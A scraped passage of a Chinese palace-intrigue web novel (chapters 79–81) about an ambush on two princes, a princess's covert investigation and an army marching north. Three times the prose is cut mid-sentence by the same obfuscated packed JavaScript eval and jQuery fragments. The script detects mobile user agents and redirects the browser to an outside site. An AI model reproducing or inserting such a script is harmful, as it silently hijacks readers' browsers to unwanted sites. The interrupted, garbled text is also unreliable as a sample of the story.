与他相对而坐的布衣青年，不屑地摆了摆手，打趣道：“大冷天的，你还成日带着个扇子，故意摆出一副高深莫测的样子。这十里八乡的，谁不知道你连个乡试都考不过去。还祥瑞之兆？哼，别逗了……”
“你别不信，我可并非随意胡言的。”
那位士子一本正经地反驳道：“来之前，我特意翻书研究过此次时局，你等着瞧吧，此战定会一帆风顺，不费多少时日便能彻底胜利。”
“哼，只要没听信那些谣言、被一些言语所蒙蔽，稍微有脑子的皆知此番战事必胜无疑。陛下亲临，不过是为那百名商户略作形式罢了，还夜观星象以测吉凶？嘁……”
“此言差矣。”
隔壁高壮汉子酒意微醺，扭头神秘兮兮道：“诸位可曾耳闻，为求战事顺遂，宫中嫔妃早已素食诵经数日。醇亲王与宁郡王更是亲自前往护国寺，虔诚祈愿。
今日寺中有人偶遇二位，见二位王爷虔诚之至，不仅随着民众排队，更是慷慨地捐赠香火。目睹此情此景的男儿，都对皇室愈发敬仰。女子们则被二位王爷的翩翩风度心醉神迷，暗自转身娇笑。”
“醇亲王身形颀长，面如冠玉；宁郡王气度恢弘，英姿飒爽。二位王爷时常游玩京师，谦逊有礼，此乃京城众人皆知的事实而已。”
摇羽扇的士子眉头微蹙，“你现在忽出此言，究竟意欲何为？此事与陛下亲征，又有何相干之处？”
“你们消息闭塞……不对，这事儿的确鲜为人知。”
高壮汉子环顾四周，确认无人留意此地后方伸手掩口，低声细语道：“今日午后，我恰巧上山路过护国寺。那护国寺除官道外，还有一条隐秘的小径，知之者甚少。而我正是其中之一……”
言及此他故意顿住，卖弄玄虚。
这可是天家秘闻，谁人不好奇。
旁侧的士人全然忘却了风骨，强忍着那难闻的酒气凑近些许，好奇询问，急急催促。
与高壮汉子同桌的二人无奈对视，摇了摇头。
终于吸引到足够的关注，汉子满意地压低声音道：“冬日无果，也无多少农活。我当时闲极无聊上山狩猎。恰巧救下被一群黑衣人围攻的二位王爷。
你们不知我当时有多么的英勇。
那群黑衣人手持利刃，我却不顾危险，拾起树枝，左手一勾，右手一挥，再施扫堂腿，身体半空旋转，只见那群黑衣人……”
他滔滔不绝，离题万里，士人听得尴尬又焦急，所幸布衣青年颇为捧场。
有人倾听，高壮汉子愈发兴奋，口若悬河却愈发离谱。
与他同行的二人泰然自若，士人见状，随意致歉后，上前悄默打听……
＆
“你说什么？你们遭遇了山匪，对方武艺平平却人数众多，最终因不慎落马，才落得……这般田地？”
酉时刚过，天色已暗，宁郡王府内灯火辉煌，仆从们进进出出忙乱成一团。
宁郡王与醇亲王遭遇截杀，激战中宁郡王不慎落马，右腿摔断的消息不消片刻便传至宫中。
明远太后闻讯大怒。
但此时局势敏感，若消息外泄，百姓们恐生猜疑，于是她果断封锁消息，同时命令太医院全力救治。
萧沁澜接旨后，特出宫探望。
望着熙熙攘攘的人群，萧沁澜眉翠含颦，立于院外，与唯一知情的蔫润知了解今日之事。
“……是……”
这声音颤抖的不像话。
蔫润知无意识捂着只轻微受伤的右臂，脸庞却血色尽失。
距离截杀已过去许久，他的瞳孔仍旧略微涣散，映射出并非眼前的熟悉人影，不断翻涌的惊涛骇浪反而清晰可见。
萧沁澜察觉后，垂眸闭眼，将心底的不忍彻底溶解，不易察觉地无声深吸后，方才不解地直视着他，焦急地再次询问。
蔫润知掌心紧紧捏着手臂，圆润的指甲深深掐入伤口，布料扭曲变形，点点血珠不停渗出，他却由内而外感到无尽寒意，思绪异常混乱，那残忍的画面在脑海中时刻交织碰撞，嘴唇翕动半晌，完全意识不到自己说了什么。
“怪我！都怪我！那条小径狭窄崎岖，人迹罕至。萧抒偶然间远眺发现，从未涉足过的。若我今日坚持走官道，便不会遭遇那群黑衣人，他也不会承受这般痛不欲生的苦难！”
见他痛心疾首、悔恨交加的神情，一旁的南门鸢不禁眼眶泛红，心疼得无以复加。
她不由自主地上前，双手抬起却又不敢轻易触碰，只能悬空着手臂，柔柔劝慰道：“太医院医术精湛。
当年太祖皇帝历经生死关头，都被司空大人救回。王爷只是落马被巨石所伤，现在事态尚未明了，王爷切勿这般自责。您看，您手臂上的伤口都裂开了，鲜血淋漓……”
南门鸢满脸忧虑地扶着对方的手臂，随后似乎想起了什么猛然回头，重重跪在地上，带着哭腔恳切哀求，“公主殿下，王爷尊贵无比，身体遭受如此重创，恳请殿下请司空大人前来救治。这伤口若是发炎，后果不堪设想啊！”
与她相伴良久，萧沁澜对她的真心与否早已有数。
这样的演绎，委实有些过火。
不过难得与润知重逢，倒是符合死心塌地、不惜自毁名节以求近身的痴情女子。
“知道了。你且先去为王爷煎制药汤，待药成之后再回来侍奉。”
萧沁澜亲手将她扶起，随即遣本采伴她同去。
院内一时仅余二人，萧沁澜虚虚握着身后人衣袖，将失魂落魄的他引领入偏房。
偏房内烛火荧荧，“吱呀”一声房门甫闭，寂静无音，蔫润知终卸下心防，他旋即转身不顾她的惊愕与疑惑，一把捞过狠狠拥住，将头轻轻倚在她的肩上，周身的气力彻底消散。
鼻尖萦绕着熟悉入骨的气息，蔫润知终于感到一丝心安，将心中的话语娓娓道出。
“沁澜……我日夜不息的勤勉习武，唯恐某日与你差距悬殊，渐行渐远。我自诩勤奋，可今日的黑衣人不足百名，不足百名啊！
我却眼睁睁看着萧抒坠马，被巨石击中，双腿……粉碎……我身不由己，无力回天，
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729690|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我居然无力回天！还好那些黑衣人武功平平，但萧抒……”
本朝规定，残疾的人不可登基为帝，即便皇室无人，也不会有半分机会。
温热的触感顺着颈间滑落，萧沁澜面色平静，顺着他的情绪淡淡问道：“他如何了？”
“……”蔫润知嘴唇嗫嚅，恐惧与害怕牢牢扼住了他的喉咙。
缓解了近一刻钟，他将头深深埋入她的颈间。
“整个右腿……右腿被砸得血肉模糊，骨头碎裂，再也无法复原，只能……只能全部割除……”
声音在耳边愈发低沉，萧沁澜嗓音愈发和煦，缓缓拍着他的后背，安抚道：“司空大人正全力救治。先前扶正业时，你我曾历经无数次凶险，最终都化险为夷。别怕，一切都会好起来的。”
“会好起来的？萧抒的右腿，真的能好吗？真的会安然无恙吗？
他风采卓绝，意气风发，最爱邀三两知己，出游山水，纵马驰骋。他怎能待在府中？从小到大，他从不爱待在府邸的啊！
若是右腿被……他怎能受得了？到底是谁？那些黑衣人为何会提前埋伏？为何……残废的为何不是我呢！”
字字悲戚，字字泣血，字字锥心。
萧沁澜表情疏淡，深幽的眼瞳漆黑如墨，不见半分波澜。
“事发突然，谁也无法预料，没办法的。”
她不停地轻抚他的后背，安慰的语调温柔至极。
这份难得的温柔似乎不合时宜，但蔫润知等了足足二十一年，此刻是他们距离最近、亦是她最为心疼自己的一刻。
见她迟迟未曾推开，蔫润知胆色稍增，手臂松松拢着她的腰肢，身躯却不敢稍有逾矩。
衣袂飘飘，缠绵交织，宛若情愫纠葛，难分难解。
蔫润知眼帘微动，驱散了眸中的朦胧雾霭。
“你曾与萧抒有过许多交集，他性情洒脱不羁，马球驰骋、山野漫游、箭术骑术无一不精，无一不欢。而今右腿受创，纵得性命无忧，可待他醒来神智归位，心中定会沮丧，失落怅惘。万一……
沁澜，我该怎样慰藉？他是否会因此心志迷乱，一时冲动？”
迷乱，冲动，显而易见。
右腿一失，毕生所爱皆成镜花水月，只能远观而不可触碰，从而陷入迷茫、恍惚，于清醒中体味失落，进而远离红尘，孤守一隅，严重些于黑暗中放弃触手可及的光明。
残疾是必然的，但这样的萧抒已全无威胁。
萧沁澜卓然而立，“不会的，我保证，他不会死。”她转移话题，“事情大致我已明了，你方才说袭击你二人者是黑衣人？而非下人禀报的山匪？”
谈及正事，蔫润知迅速收敛起纷乱如麻的心绪，深吸一口气，缓缓后退，引她至桌旁坐下，将事情原委一字不漏地细细道来。
与近日流传的谣言截然相反，因时值气候寒凉，那条小径又极为偏僻，枯木横陈，四周并无行人经过。
那百名黑衣人皆是他二人携手共同击败。
萧抒骑□□湛，箭法超群，近身搏击却稍逊一筹。
那些黑衣人显然有备而来。
为首者身披金丝软甲，二人费尽九牛二虎之力将其制服。首领倒地之际，二人心弦松懈，不料剩余暗处的黑衣人趁机反击，掷来巨石使得马匹受惊，将萧抒重重甩落，右腿不幸被树枝卡住。仅一瞬之差，便酿成了……
“后来呢？”萧沁澜大约是首次听到，面色凝重地静静聆听。
79. 第 79 章
宁郡王府邸偏殿内。
“后来呢？”萧沁澜面色凝重，静静聆听他的述说。
蔫润知深深吸气缓解着重压，自责至极，“首领已除，剩余者不堪一击。当时已有多人丧命，幸亏我随身携带着匕首，才将大多黑衣人制服。”
“辛苦了。刀剑无情，能在百人围攻中幸免于难，你和宁兄长已属不易。未来日子还长，无需这般焦虑。”
“……是，未来日子还长。但这二十年的习惯，岂是轻易便能更改与舍弃的……”蔫润知头痛欲裂地抹了把脸颊，手臂上伤口崩开亦浑然不觉。
这场面实在骇人，萧沁澜从未见过他这样丧气的模样。
她紧握着他的手腕，用锦帕轻轻缠绕住那裂开的伤口，暂且止血。
“你方才提及，黑衣人不像山匪，有何依据？”
“刀。那些刀……乃是前朝之物。”
闻听此言，萧沁澜猛然抬眼，眉间微蹙，圆润的眼眸直直凝视着他。
一石二鸟，以最小的后果达成最大目标。
那个人，当真是好手段……
＆
当朝宁郡王突遭黑衣人突袭，右腿不幸折损。
此事关系重大，萧沁澜奉太后之命，于郡王府中守候了整整一夜，直至天明病情趋稳，方携太医院院使司空大人前往乾清宫，禀报事件始末。
醇亲王亦随同前往。
陛下御驾亲征在外，明远太后稳稳端坐于御案后，细细倾听事情经过。
“可确认，此番灾祸乃前朝余孽所为？”
下首的蔫润知躬身行礼，言辞铿锵果决道：“确凿无疑，我亲眼目睹，绝不会有误。”
“嗯，胡风大马士革弯刀……”明远太后沉吟片刻，垂眸啜饮着温热的茶水。
若果真为前朝余孽，且这帮人对当朝两位王爷的行踪一清二楚，从而围追堵截，那么北狄各部落联合侵略，大约与此事息息相关。
蔫润知唯恐他人不信，又将所见所闻详尽叙述了一遍。
知晓他的执着与复仇念头，萧沁澜在他言毕后上前一步，“母后，醇亲王一向沉稳，绝不会对虚无之事夸大其辞。
前朝余孽隐忍多时，此刻出手唯有两种可能，一是他们已至绝境，仅剩愚勇，只图一时之快；二则他们城府极深，想要借此达成其他图谋。”
一旁静立的太医司空晋捻须点头，赞同道：“公主殿下分析得极是。但这图谋究竟为何？不知殿下可有初步揣测？”
在场众人皆是历经生死的挚友，他立于乾清宫中倒不似其他臣子那般拘谨。
但尊卑有别，司空晋回话时仍微微躬身，语气恭顺，望着的萧沁澜的目光自豪无比，难掩“吾家有女初长成”的欣慰笑容。
司空晋医术高超，曾屡次将太祖皇帝从生死边缘挽救回来，萧沁澜对他亦倍感亲近。
她听罢立即转眸，笑意盈盈地道：“司空大人问得好。
当前朝中最引人注目的事，莫过于皇兄御驾亲征。
那些余孽恰在此刻动手，要么与边关之人有所勾结，要么便是人手匮乏，技艺不精，想要借此时机搅乱京师，使人心惶惶，从而扰乱朝纲。即便无法复国，亦可泄愤。
当然，或许还有更深层的阴谋。不过贤昭愚钝，仅能猜测到此，剩余之事唯有请母后定夺。母后智谋过人，定能做出完美无瑕的决策。”
首位的明远太后笑着朝她微微颔首，“贤昭不愧为皇室血脉，哀家甚感欣慰。”
“有理，实在有理！”
司空大人连连称赞，旋即抱拳行礼，“太后娘娘，老臣曾查看过宁郡王身上的伤口，以及醇亲王手臂上的刀伤。如今细细回想，那武器构造特殊，与太祖皇帝曾经所受之伤一模一样。
老臣认为，醇亲王与公主殿下所言非虚。此等大事，还望太后娘娘早日召集群臣，共同商议，以定对策！”
情势紧迫，明远太后摆手示意身边太监速往各府宣召。
待一切部署妥当，她再次问道：“贤昭是否还有其他猜想？不妨一并道来。”
她语气平和，听不出丝毫焦急。
萧沁澜摇了摇头，“儿臣学识尚浅，仅能想到这些。”
明远太后道：“无妨，司空大人除担任太医院院使外，亦是宗□□左宗正，不必离开，醇亲王亦是。”
都是臣子，萧沁澜听罢顺势告退，返回了宁安宫。
＆
乾清宫一夜灯火通明，无论最终商议出何种结果，有怎样猜想，显然不能传入京师百姓的耳中，必须严加隐瞒。
可世事往往出乎意料，仅仅一夜便谣言四起。
……
天色已晚，宁安宫内烛火摇曳，萧沁澜倚靠在殿门侧，仰头望着天穹的明月，衣诀翩然，思绪纷乱。
这个时代消息闭塞，能够第一时间掌握少数信息，便已占据了极大的优势。
只要计谋得当，便不会有太大偏差。
从她开始行动至今，大多皆如愿以偿，唯有三件事超出了她的预料。
一则关乎豫州才子的陨落，一则因狎妓获罪的官员莫名暴亡，最后……
最后便是现今京城内外，那沸沸扬扬的舆论浪潮。
陆墨凌有封建王朝所有男子的自傲自大，德行难配高位，必须除之以正视听。
除了他外，究竟是何方神圣，能在她眼皮底下掀起如此的滔天巨浪，时至今日竟未露出半分破绽。
心绪纷至沓来，萧沁澜凝神猜测。
本采在此时自院外疾步至她面前，不待发问便已摇头，“不得而知。”
“不得而知……”
萧沁澜低吟复述，眼眸顿时变得锋利无匹，如寒冬利刃般闪烁着不容小觑的凛冽寒光。
“很好，每当我踏出一步，便有人紧随其后。本宫还以为这明昭王朝上下，无人能逃过本宫的暗卫营。可这一桩桩、一件件，显然深谋远虑。只是不知，下一步此人是否还能隐藏得住，继续运筹帷幄。”
太祖皇帝能平定天下，创立明昭王朝，是得了天命眷顾……
能与自己抗衡的实力少见，朝中众臣多受监督，商户平民……
不会是寻常商户平民，财力不允。
难不成是有人重生？
穿越？
抑或是穿书？
重生与穿越者思想行动皆有限。
若自己所处的世界仅仅是一本书，书中人的轨迹都被天命所限定，无论怎么努力改变，皆会被强行拉回正轨，那她所做的这一切，究竟有何意义？
又能改变得了什么？
念及此，萧沁澜幽邃深长地望向身旁，“南门鸢已经睡下了？”
“是。”本采淡然回答，“今日的饭菜里特地加了安神汤，属下亲眼看着她用完。安神香与寻常的檀香气味相近，南门姑娘并非首次晕倒，明日醒来定不会心生疑惑。”
“嗯。”萧沁澜轻声应和，眉宇有些疲惫。
她轻揉眉心，摒弃那些既合理又荒谬的念头，将这视为寻常的朝代。
待心中的躁动稍稍平息，萧沁澜若无其事道：“只要有所行动，总会露出破绽。那人知晓本宫的势
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733977|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
力，却不敢正面交锋，说明对方人手匮乏，或是地位卑微。又或许，是本宫认识且信任之人。
想争？那便来吧。可莫要是个微不足道的小角色，让我失望啊……”
＆
次日天色敞亮，南门鸢揉着胀痛的前额，恍恍惚惚用完晨膳后，前去正殿侍奉，却不料落空。
“殿下去了宁郡王府？”
本采得了吩咐，特意留守。
见她脸色不好，本采当即命侍从上前搀扶，关切道：“南门姑娘今日面色何以如此苍白，莫非身体不适？”
“或许吧。”
心机深沉的那人不在场，尽管宁安宫中眼线众多，南门鸢心情也略显轻松。
她缓缓倚靠于身后的殿门，强忍着突如其来的眩晕感。
难道是近日过于繁忙，体力不支？
贤昭公主送来的区区安神汤，应不会使身心这般俱疲？
本采不知她想，挥退宫娥，嘱咐她们去寻司空公子，随后亲手斟上一杯清茶递与她。
待她饮下后，方见面色逐渐好转。
“多谢姑娘，我已感觉好多了。”南门鸢此话发自真心。
宁安宫中之人对她虽屡屡试探与防备，但终究未对她造成伤害，偿还恩情需尽心尽力，只是不知何时方能彻底安然离开。
本采朝她浅笑，态度不卑不亢，“同殿为臣，姑娘无须客气。殿下向来体恤下人，若姑娘身体不适可自行休息一日，待主子归来，我会据实禀报。”
南门鸢面上恭顺感激，莞尔而笑，“殿□□恤下人，一视同仁，我自是铭记在心。
说来可笑，宁安宫内众宫娥、太监的日子，较之我在兴安伯府不知好了多少。能得王爷举荐来此侍奉，实乃我三生有幸。
只是现在正值多事之秋，昨夜我已闻听宁郡王之事，料想公主殿下这几日定然繁忙。我们作为侍从更不能自乱阵脚。
本采姑娘请放心，若我真有不适，必会直言相告。”
“姑娘深明大义，只是……哎，世事往往身不由己。”
本采顺着她的话客套一句，继而故作无意，透露主子今日安排的任务。
待南门鸢自觉离去后，一名宫娥上前，郑重其事道：“安神香乃是医谷精心制作，剂量也由医师严格把控。本采姐姐，南门姑娘体弱至此，恐怕并非此香所致。是否与宁安宫的熏香有所抵触？”
“势所必至。”本采瞥了一眼院内的花坛，“此熏香为医药谷所赠，有强身健体之效，与其他花草搭配更能产生不同功效。但主子曾特意叮嘱‘是药三分毒’，除非必要，这等物品还是不宜日日嗅闻。”
“那……主子始终未提及将药草撤去，莫非是为了……”
本采掐了掐自己的掌心，心中满是悔意，“毕竟是医药谷倾力所制作，碍于情面不能随意撤下，我曾劝过主子，主子从未同意。
我等皆有内力，此药确实可稳定心绪，对我等利大于弊。但自从南门姑娘来后，主子已命人减少剂量。南门姑娘自小受尽折辱，应是适应不得。”
宫娥闻言神色肃然，语气中莫名带了哽咽，“主子她，真是世间难得的好人啊！”
“她能将我们这些卑微平民当作人来看待，每月的赏银与工钱不仅按时发放，总是只多不少。超然象外，随时制宜，历来不曾与世浮沉。这普天之下，恐怕也只有太祖皇帝的亲生血脉才能做到。”
本采言罢愈发坚定，“当下前朝时局多变，波涛汹涌。主子为了我们这些下人做到了这种地步，我们更不能拖后腿。有些事情，是得狠下心来。”
80. 第 80 章
正值正月之际，毗邻宁郡王府的繁华街市依旧人声喧闹，商户的叫卖、士人的谈笑与学子的吟诵交织成一片热闹景象。
晨光熹微，早膳方毕，闲逸的百姓漫步街头消食。
恰在此时，一辆马车缓慢驶来，马蹄声“哒哒”作响，节奏从容清脆，瞬间吸引了众多目光，行人齐齐向街道中央投去探寻的视线。
那马车委实非凡。
金漆斑驳间，龙凤呈祥的图案跃然其上，栩栩如生，与迎面洒落的朝霞交相辉映，更显璀璨夺目。
车帘之上，锦绣河山绣制得细腻入微，远远望去典雅大方。
车辕两侧，金色风铃轻轻摇曳，随着马车行进不断“叮当”作响，声音悦耳的宛如天籁。
此刻天色尚寒，尚未至播种之时，马车所经之处，引来了无数百姓驻足围观，百姓对这车内之人的身份纷纷揣测。
“黄金镶嵌宝石，精雕细琢之下龙鳞凤羽熠熠生辉，金色光芒耀眼夺目。如此华丽奢靡，想必是天潢贵胄出行无疑了。”一位身着布衣的百姓点头评论，仅凭外观便作出了判断。
“看你这样子，显然是没见过什么世面，刚到京师不久吧？”旁边的锦衣男子上下打量了他一眼，语气笃定。
“……兄台真是好眼力，是因为我这身粗布麻衣吗？”布衣百姓有些尴尬地问道。
“何需看衣识人？”锦衣男子怀抱着自家小女儿，宠溺地将新买的糖葫芦递给她，并柔声嘱咐“慢点吃”后，转过头来解释道：“现在的天家，仅有明远太后、陛下、醇亲王、宁郡王与贤昭公主五位……”
布衣百姓忽而打断，“不对吧，我听说当年的备选太子还有定国公家二公子，与太医院院使的嫡子，他们二位不也是宗室成员吗？”
“什么宗室成员，那不过是当时人们随意拼凑出来的。历朝历代哪有庶子、庶女所生子嗣成为宗室的，也就我们明昭王朝特殊罢了。”
锦衣男子解释完毕后，见他一脸恍然大悟的神情，继续说道：“这几位天家皇室中，陛下御驾亲征，此刻并不在京师。太后需上朝批阅奏折，无暇外出闲逛。即便太后外出，仪仗也绝不会这般简朴。宁郡王腿部受伤，行动不便。而醇亲王作为大长公主唯一的嫡子，出行时从来仅是骑马，尤为亲近。”
“那这车中坐的，莫非是贤昭公主殿下？”
“公主殿下清雅脱俗，怎会使用金银这等俗物来装饰马车？你看这马匹仅有三匹，若是微服私访，定不会招摇过市。若是得令出宫，身边至少会有数百人随行保护。
前方便是宁郡王府，宁郡王腿部受伤，无法行走。所以啊，这马车中坐着的，也就只有那位了！”
“谁？”
＆
“昌盛侯的孙女，那位与萧抒定亲不久的千金，现下正在府外求见？”
宁郡王府邸大堂内，蔫润知自下朝后便一直守候在此，听闻来客身份不禁瞪大了双眼，满是惊讶地忍不住确认道：“你可确信是昌盛侯家的那位孙女？”
昌盛侯年过花甲，他的子女随太祖皇帝亲征南蛮之时不幸遇难，尸骨不全，场面惨不忍睹。
侯爷悲痛至深，明远太后遂免其朝参，加封留下的遗孤时却遭昌盛侯以“护佑血脉，远离官场”为由婉拒。
尽管昌盛侯府并无实权，但每逢中秋、年节等盛典，太后必会邀其全家共襄盛举。
明远太后有时遇到疑难决策，亦会亲自召见指教。
侯爷的孙子他见过多面，此子聪慧有才，胸怀大志，想要建功立业却因祖父之意不便直接谋官。
且此子对谋官不屑一顾，自有清高，凭借自身才能，现正于翰林院备考科举，料想今年必能高中。
侯爷的孙女……
男女有别，他倒是不甚了解。
思绪回笼，蔫润知再次重复，“确信是昌盛侯的亲孙女？”
门房郑重地点了点头，肯定地回答道：“小的绝不会看错。之前昌盛侯曾亲自带着顾小姐来府上定亲，那般胆大的举动，小的至今记忆犹新，绝不敢欺骗王爷。”
“只有顾小姐一人前来吗？”萧沁澜从后走来，瞥了眼满脸震惊的蔫润知，淡笑询问。
“是。”
门房垂下眼眸，不敢直视二人，犹豫片刻后，终是因着他们的和善，直言不讳道：“那位小姐长得实在……有些健硕。现正待在府外等候，只等王爷与殿下吩咐便会进府。”
“知道了。”萧沁澜朝他轻笑，“既已交换过庚帖，那便请她进来吧。”
门房领命后匆匆离去。
蔫润知盯着那飞奔的身影，摸了摸鼻子，压低声音道：“莫非顾小姐是见萧抒身残力弱，特地来访解除婚约？此事要不先别告知萧抒，待到他康复，精神焕发之时，再详述实情？”
“我知晓你的担忧。”
萧沁澜目光随他的举动而流转，见状不禁弯唇浅笑，“若顾小姐想要退婚或先行试探，应是昌盛侯亲临，抑或侯爷夫人前来。
我于宫中时多有耳闻，那位顾小姐虽失怙恃，身材亦有些略高与壮，但昌盛侯极为明理，教养得她极为出色。但凡京师小姐雅集，对她的举止言谈无不赞誉。
你对此类琐事不感兴趣，或许未曾听闻过。”
蔫润知每日事务冗繁，下朝后还需锤炼武艺，骑马射箭，研读各地风土人情游记，穿梭于大街小巷寻找新鲜的糕点甜品，确实繁忙至极，无闲暇关注这些闺阁之事。
“你的话我自是深信不疑。可他们二人毕竟未婚，贸然相见有失体统，还会惹人非议。这事还得劳烦你。”
“你我二人，无需客气。”萧沁澜点头应允，含笑颔首。
“你我……二人？”
明明是一番正经的不能再正经、寻常的不能再寻常的话，蔫润知听后心中却骤然泛起了层层波澜，嘴角不自觉上扬，双手难掩激动地抚着胸口，竭力克制着那突如其来的激动与紧张。
无需客气？
这四个字是不是意味着可以敞开心扉，推心置腹，无话不谈，知无不言，言无不尽，最终……
心心相印，亲密无间，不必言语便能彼此理解。
莫非经历了这番凶险后，沁澜对他的心房微微开启，生出了那般情愫？
不用太多，只要一点点便感天谢地。
日积月累，自己每年撬开一丝缝隙，无论她是否嫁人，只要今日这话不收回，那自己注定，永远有机会！
＆
京师之内风云变幻，而边关亦是波谲云诡，毫不逊色。
短短数日间战报频传，络绎不绝。
随着距离的不断拉近，萧墨凌的内心愈发兴奋，只是十万大军不可昼夜兼程，疲于奔命，需养精蓄锐。
……
早膳刚过，迎着初升的朝阳，众将士吃饱喝足后精神饱满，意气风发，闲聊间，见到队伍中仅有的那名女子缓缓前来，与她热情打着招呼。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737607|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“临月姑娘，这是要给二公子亲自上药吗？”
临月提着食盒，骑马逆行于大军之中，听罢豪爽挥手，“正是。二公子伤势颇重，他又久居京师，习文识字了多年，从未受过奔波，难免有些气虚。我今日在驿站备了些吃食，正好给公子滋补身体。”
“哎呀呀，临月姑娘真是体贴入微。说来不怕你笑话，在京师府中时，我家娘子也是这般细心周到。此次北上边关讨伐南蛮，娘子也特地为我准备了许多路上的吃食。只是还没来得及打开，就被这帮家伙一抢而光。”
旁侧的将领闻言哈哈大笑，“我们可是正规军队，应该称呼夫人才对。再说了，嫂子温柔贤淑，厨艺又好。这样的手艺你却藏着掖着，害得兄弟们日日嘴馋。好不容易碰到嫂子做的吃食，哪能给你留下。再者，你又不缺这一口。”
“这是一口吗？整整三大包袱的饼子包子，你们第一天就抢了个精光，害得我只能吃家中老母腌的酸菜。那可是我夫人，我疼她还来不及，怎么舍得让她为你们做饭。有那本事，自己娶个贤惠的去吧。”
“嘿，你这话可有点不地道了。我们上门拜访时，何时空手而去过？你可真是个没良心的。这次回去，我一定要让嫂子帮我物色个温柔贤惠的，每天腻在一起，让你眼馋得要命！”
“哼，说的好像谁没有似的……”
十万大军自四面八方慢慢集结，他们中的大多数都经历过战场洗礼，就算是普通士兵，也能对当前形势有个大致判断，故而对于这场战役皆信心满满。
路途上为了打发时间，少不了互相开玩笑，逗乐子。
不过，他们显然将自己当成了陆二的心上人。
她是军中唯一的女子，这样猜测也并非全无道理。
临月不置可否，混在人群中，随着他们互相调侃，慢悠悠走到唯二的马车旁，轻巧跳下，动作敏捷地掀开帘子，一气呵成进入车内。
马车内沉闷的咳嗽声不时响起，临月打开食盒，取出糕点和茶水，瞧着那人撇嘴冷笑，“别装了，皇帝离这里远着呢，周围有主子的人巡查。你那副装模作样的虚弱还是收起来吧，看着就让人心烦。”
对面的陆承韫不疾不徐放下悬在唇边的手指，面容平静地倚在软垫中，优哉游哉地翻过一页兵书。
“京师近来可好？”
“路途遥远，还没与主子联系。”
“仅仅三日，以沁澜的聪慧，想必一切安好，风平浪静。”
“你一目十行，真能看清楚书上写的是什么吗？”
临月尤为嫌弃地瞥了他一眼，言辞尖锐地低声嘀咕道：“文弱得不成样子，也就这张皮相还能看。主子那般英明神武、足智多谋，怎么选人的眼光就如此草率随意。简直是□□吞天！狗尾续貂！麻雀想登凤凰枝！”
“……”
临月是本采的妹妹，性情爽朗洒脱，在军营中与众人融洽相处的同时，又能保持恰到好处的距离，不给人留下闲言碎语的机会。
这等能力，算是卓尔不群。
沁澜近侍的亲妹！
陆承韫忍了下来，若无其事地翻了页兵书，神情淡定地好脾气道：“离别之际，沁澜曾前来相送，如今我身上的伤口裂开，只是不慎所致。在此之前，我与沁澜曾多次并肩作战，默契十足，堪称天生一对。”
“是吗？那你知不知道，醇亲王从来都是将主子护在身后的？还并肩作战？”临月斜眼嘲讽，“嘁，没用的男人！”
81. 第 81 章
古道西风，旌旗猎猎，于空中“飒飒”奏响，大军气势如虹，直冲云霄，众将士步履铿锵，手中戈矛寒光凛冽，刀枪剑戟，似有劈空裂虚的能力。
“这临月姑娘进去了许久还没出来，是不是有些不妥？”
先前对话的中等将领眉头紧锁，目光转向身后，满眼忧虑。
“她可是二公子的房中人，疼爱还不及呢，会有何不妥？更何况……”
身旁之人环顾四周，侧首偷偷低语，“我听闻二公子被定国公重重惩治，当时是被抬回去的，数日都未能下床呢！也就在宫宴上方露了一面。我遥遥一望，嘿，二公子的面色苍白如鬼魅，伤势显然不轻。”
“看来国公爷怒火中烧。不过也对，若我家那不肖子不顾百姓生死，收受贪官千两黄金的贿赂，我下手必定会更狠，即便打死也是再轻不过的惩罚。”
“你看你，闻风便是雨？那二公子的样貌品行你可是亲眼目睹过的。”
“温润如玉，谦谦君子。可岂能仅凭外貌，便断人好坏？”
“这你就不懂了吧。”
现今是陛下御驾亲征，有些话不便明言。
能身居此位者皆非愚钝之辈，稍作思索，就会察觉其中端倪。
只是若事不关己，往往更易相信那些离奇诡异之事，无论真假，事后与人谈及，亦可作为谈资。
中等将领见他故作高深，不时意味深长地瞥向自己，心中焦急如焚，遂策马近前，连连催促他快些将剩余的八卦道出。
马车略微颠簸，那不大不小的声音恰好传入临月耳中。
望着眼前这粉面白皮、貌似文弱书生的男子，她愈发为主子感到不值，上药时不断从身后发出冷哼，手法又重又狠，致使陆承韫原本红润的脸色瞬间变得苍白，豆大的汗珠不受控制地滑落。
陆承韫强忍着剧痛，勉强平稳呼吸，开口警告道：“临月姑娘须知沁澜与我之间，有……”
话音未了，临月已不耐烦听他啰嗦，径自扒开伤口，将药粉均匀撒在其上，随后若无其事地擦拭着渗出的血珠，绑好绷带，嫌弃地掏出一叠手帕，将腰间葫芦中的清水倾倒在其上，不停地擦拭着手掌，仿佛碰到了什么极脏之物。
陆承韫盘膝坐在车内，双拳紧握着下摆，紧闭双眼，竭力平息那深入骨髓的刀割火烧之痛。
